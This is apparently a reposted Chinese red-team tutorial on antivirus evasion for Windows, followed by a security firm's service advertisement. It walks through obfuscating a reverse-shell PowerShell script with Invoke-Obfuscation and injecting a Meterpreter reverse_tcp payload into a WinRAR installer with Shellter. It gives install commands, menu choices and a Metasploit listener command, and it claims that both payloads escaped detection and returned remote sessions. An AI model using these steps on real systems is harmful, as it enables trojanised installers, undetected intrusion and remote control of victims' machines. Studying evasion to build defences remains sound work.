Windows红队防御规避技术-5
2023-3-28 20:1:54 Author: 网络安全交流圈(查看原文) 阅读量:45 收藏


ATT& CK防御规避技术
    防御规避包括敌人在整个入侵过程中用来避免被检测到的技术。用于防御规避的技术包括卸载/禁用安全软件或混淆/加密数据和脚本。对手还利用和滥用可信进程来隐藏和伪装其恶意软件。其他战术和技术在这里交叉列出,当这些技术包括破坏防御的额外好处。

防御规避战术下概述的技术为我们提供了一种清晰而系统的方法来规避对目标系统的探测。

以下是我们将探索的关键技术和子技术列表:
  • 混淆
  • 可移植可执行注入
场景:
我们的目标是生成目标系统上的AV解决方案无法检测到的有效载荷。
AV检测方法
反病毒软件通常将利用基于签名、启发式和行为的检测。
  1. 基于签名的检测-AV签名是唯一标识恶意软件的唯一散列。因此,您必须确保混淆的漏洞利用或有效负载与AV数据库中的任何已知签名不匹配。

    我们可以通过修改恶意软件的字节序列来绕过基于签名的检测,从而改变签名。

  2. 基于启发式的检测-依赖于规则或决策来确定二进制文件是否是恶意的。它还查找代码或程序调用中的特定模式。

  3. 基于行为的检测-依赖于通过监控恶意软件的行为来识别恶意软件。(Used对于新的恶意软件菌株)

AV规避方法
磁盘规避技术
混淆是指隐藏重要、有价值或关键的东西的过程。混淆重组代码,以使其更难分析或逆向工程(RE)。
编码-编码数据是一个涉及使用方案将数据更改为新格式的过程。编码是一个可逆的过程;数据可以被编码成新的格式并被解码成其原始格式。
打包-生成具有较小大小的新二进制结构的可执行文件,因此为有效载荷提供新签名。
加密器-加密代码或有效载荷并解密存储器中的加密代码。解密密钥/函数通常存储在存根中。
内存规避技术
    • 专注于内存操作,不将文件写入磁盘。
    • 通过利用各种Windows API将有效负载注入进程。
    • 然后在存储器中的单独线程中执行有效载荷。
工具
    • Invoke-Obfuscation
    • Shellter
使用调用混淆的防御规避

Invoke-Obfuscation是一个兼容PowerShellv2.0+的PowerShell命令和脚本混淆器(https://github.com/danielbohannon/Invoke-Obfuscation)。

我们可以使用Invoke-Obfuscation来混淆/编码我们的恶意PowerShell脚本。PowerShell脚本更有可能逃避反病毒检测,因为代码是在解释器中执行的,并且很难检测代码本质上是否是恶意的。

注意:使用的目标应该能够执行PowerShell脚本,否则,我们将无法执行混淆/编码的PowerShell脚本。

在Kali上设置调用模糊处理

Invoke-Obfuscation是一个PowerShell工具,因此,我们需要一个带有PowerShell的Windows系统才能使用它,但是,我们也可以通过安装PowerShell包在KaliLinux上运行PowerShell脚本。
1、这个过程的第一步是在Kali Linux上安装Powershell,可以通过运行以下命令来完成:

sudo apt-get install powershell -y
2、安装PowerShell后,您可以通过在Kali上运行以下命令来启动PowerShell会话:
 pwsh
这应该会向您显示一个标准的PowerShell提示符,我们可以使用它来运行PowerShell命令和脚本,如下面的屏幕截图所示。

3、我们现在可以克隆包含Invoke-Obfuscation PowerShell脚本的Invoke-Obfuscation GitHub存储库,这可以通过运行以下命令来完成:
git clonehttps://github.com/danielbohannon/Invoke-Obfuscation.git
4、为了启动Invoke-Obfuscation脚本,我们需要启动PowerShell提示符并导航到克隆的目录,之后,您可以通过运行以下命令来执行Invoke-Obfuscate PowerShell脚本:
 .\Invoke-Obfuscation.ps1

5、如果您正确地遵循了前面的过程,那么Invoke-Obfuscation脚本将执行,并且您应该看到一个屏幕,如下面的屏幕截图所示。

使用Invoke-Obfuscation编码PowerShell脚本

现在我们已经在Kali Linux上安装了PowerShell,并配置了Invoke-Obfuscation脚本,我们可以看看如何编码PowerShell脚本。

1、第一步将涉及创建/开发恶意PowerShell脚本并将其保存在可访问的目录中。在本例中,我们将使用反向shellPowerShell脚本,该脚本可在以下位置找到:https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#powershell

2、创建并保存恶意PowerShell脚本后,我们需要使用Invoke-Obfuscate指定脚本路径,这可以通过在Invoke-Obfuscate提示符中运行以下命令来完成:

SET SCRIPTPATH /PATH-TO-SCRIPT/script.ps1

3、指定脚本路径后,系统将提示您使用混淆方法菜单,如下面的屏幕截图所示。

4、在这种情况下,我们将使用AST混淆方法,可以通过在Invoke-Obfuscate提示符中运行以下命令来选择此选项:

AST

5、现在将提示您使用AST混淆选项,在本例中,我们将使用“ALL”选项。可以通过在Invoke-Obfuscate提示符下运行以下命令来选择此选项:

ALL

6、现在将提示您确认混淆方法,这可以通过运行以下命令来完成:

1

7、Invoke-Obfuscation现在将对脚本进行模糊处理,并输出经过模糊处理的PowerShell代码,如下面的屏幕截图所示。

8、现在,您可以复制混淆的PowerShell脚本并将其保存在新文件中,然后可以将其传输到目标Windows系统并执行它。

9、执行脚本不会引发任何AV检测/标志,并且我们能够在netcat侦听器上接收反向shell连接,如以下屏幕截图所示。

我们已经能够成功地混淆我们的恶意PowerShell脚本并逃避任何AV检测,或者您也可以使用Invoke-Obfuscate来混淆或编码单个PowerShell命令。

使用Shellter进行防御规避

Shellter是一个动态shellcode注入工具,也就是动态PE感染器。它可以用于将shellcode注入到本机Windows应用程序中(目前仅限32位应用程序)。shellcode可以通过自定义代码或通过框架(如Metasploit)生成。
Shellter利用了PE文件的原始结构,并且不应用任何修改,例如更改部分中的内存访问权限(除非用户想要),添加具有RWE访问的额外部分,以及在AV扫描下看起来不可靠的任何内容。我们将使用Shellter将我们的meterpreter反向shell负载注入到可移植的可执行文件中。

在Kali Linux上安装Shellter

Shellter可以通过以下步骤安装在Kali Linux上:

1、第一步将涉及安装运行Shellter所需的依赖项,可以通过运行以下命令来安装它们:

dpkg --add-architecture i386sudo apt-get update&&apt install wine32

2、安装完依赖项后,可以通过运行以下命令安装Shellter:

sudo apt-get install shellter -y

3、为了启动Shellter,您需要导航到以下目录:

cd /usr/share/windows-resources/shellter/

4、我们现在可以通过Wine运行Shellter来启动它,因为它是一个Windows PE。这可以通过运行以下命令来完成:

sudo wine shellter.exe

5、如果Shellter成功执行,您将看到一个类似于下面屏幕截图中所示的屏幕。

用Shellter将有效载荷注入可移植可执行文件

我们可以使用Shellter将meterpreter有效负载shellcode注入到可移植的可执行文件中。Shellter通过利用原始PE文件结构来实现这一点,并且不应用任何修改,例如:更改分区中的内存访问权限(除非用户愿意),添加具有RWE访问权限的额外分区,以及在AV扫描下可能出现的任何问题。
  1. 此过程的第一步将涉及下载目标可执行文件,这将是WinRAR安装程序可执行文件作为我们的可移植可执行文件。WinRAR可以从这里下载:https://www.win—rar.com/predownload.html?&L=0&版本= 32位

    注意:确保您下载的是32位版本的WinRAR,因为Shellter无法在64位可移植可执行文件上执行有效负载注入

  2. 下一步将涉及启动Shellter并选择操作模式,在本例中,我们将使用自动模式。这可以通过指定“A”选项来完成,如下面的屏幕截图中突出显示的。

3、您现在将被提示指定PE目标的路径,在这种情况下,我们将指定我们下载的WinRAR可执行文件的路径,如下面的屏幕截图所示。

4、指定目标PE路径后,Shellter会开始对目标PE进行跟踪,之后会提示您指定是否要启用隐身模式,在这种情况下,我们将启用隐身模式。这可以通过指定“Y”选项来完成,如下面的屏幕截图中突出显示的。

5、现在将提示您使用有效载荷选择菜单,在这种情况下,我们将使用列出的有效载荷,这可以通过指定“L”选项来选择,如下面的屏幕截图所示。

6、现在,系统将提示您按索引指定选择的负载,在本例中,我们将使用“Meterpreter_Reverse_TCP”暂存器方法。可以通过选择选项“1”来选择此有效负载,如以下屏幕截图中突出显示的。

7、现在将提示您指定Meterpreter有效负载选项,在这种情况下,您需要设置LHOST和LPORT选项,如下面的屏幕截图中突出显示的。

8、在指定Meterpreter payload选项之后,Shellter将开始将payload注入目标PE的过程。之后,Shellter将确认注射过程,如以下屏幕截图所示。

9、我们现在需要使用Metasploit设置监听器,以便在执行目标可执行文件时接收反向tcp连接。这可以通过在Metasploit-framework中运行以下命令来完成:

 msfconsole use multi/handler set payload windows/meterpreter/reverse_tcp set LHOST <IP> set LPORT <PORT> run

10、在设置Metasploit侦听器之后,您现在需要将我们注入有效负载的目标PE传输到目标系统中。一旦目标PE被执行,我们应该在监听器上接收到一个meterpreter会话,如下面的屏幕截图所示。

目标PE在目标系统上的执行未被AV检测到,因此,我们能够在目标系统上获得meterpreter会话。

团队业务范围

1. 《漏洞扫描服务》

2. 《渗透测试服务》

3. 《互联网暴露面服务》

4. 《APP安全测试服务》

5. 《代码审计服务》

6.《CTF\WEB\内网培训业务》

7. 《应急响应服务》

8. 《实战攻防演习服务》

9. 《钓鱼邮件测试服务》

团队时刻保持专业和热情,并且致力于提供卓越的服务,让每一位客户都能感受到

我们的用心与专业。无论您遇到什么问题或需求,我们都会全心全意地为您解决,

让您享受到最优质的服务体验。(业务需要请关注公众号微信联系)


点击下方名片关注公众号


文章来源: http://mp.weixin.qq.com/s?__biz=MzI1MDk3NDc5Mg==&mid=2247484485&idx=1&sn=11da064afaa85040f0473357c0b4385b&chksm=e9fb4362de8cca7465bf21acd608d38e9899baf6250c52403c610f5e79151f1b3b2b581ef2d5#rd
如有侵权请联系:admin#unsafe.sh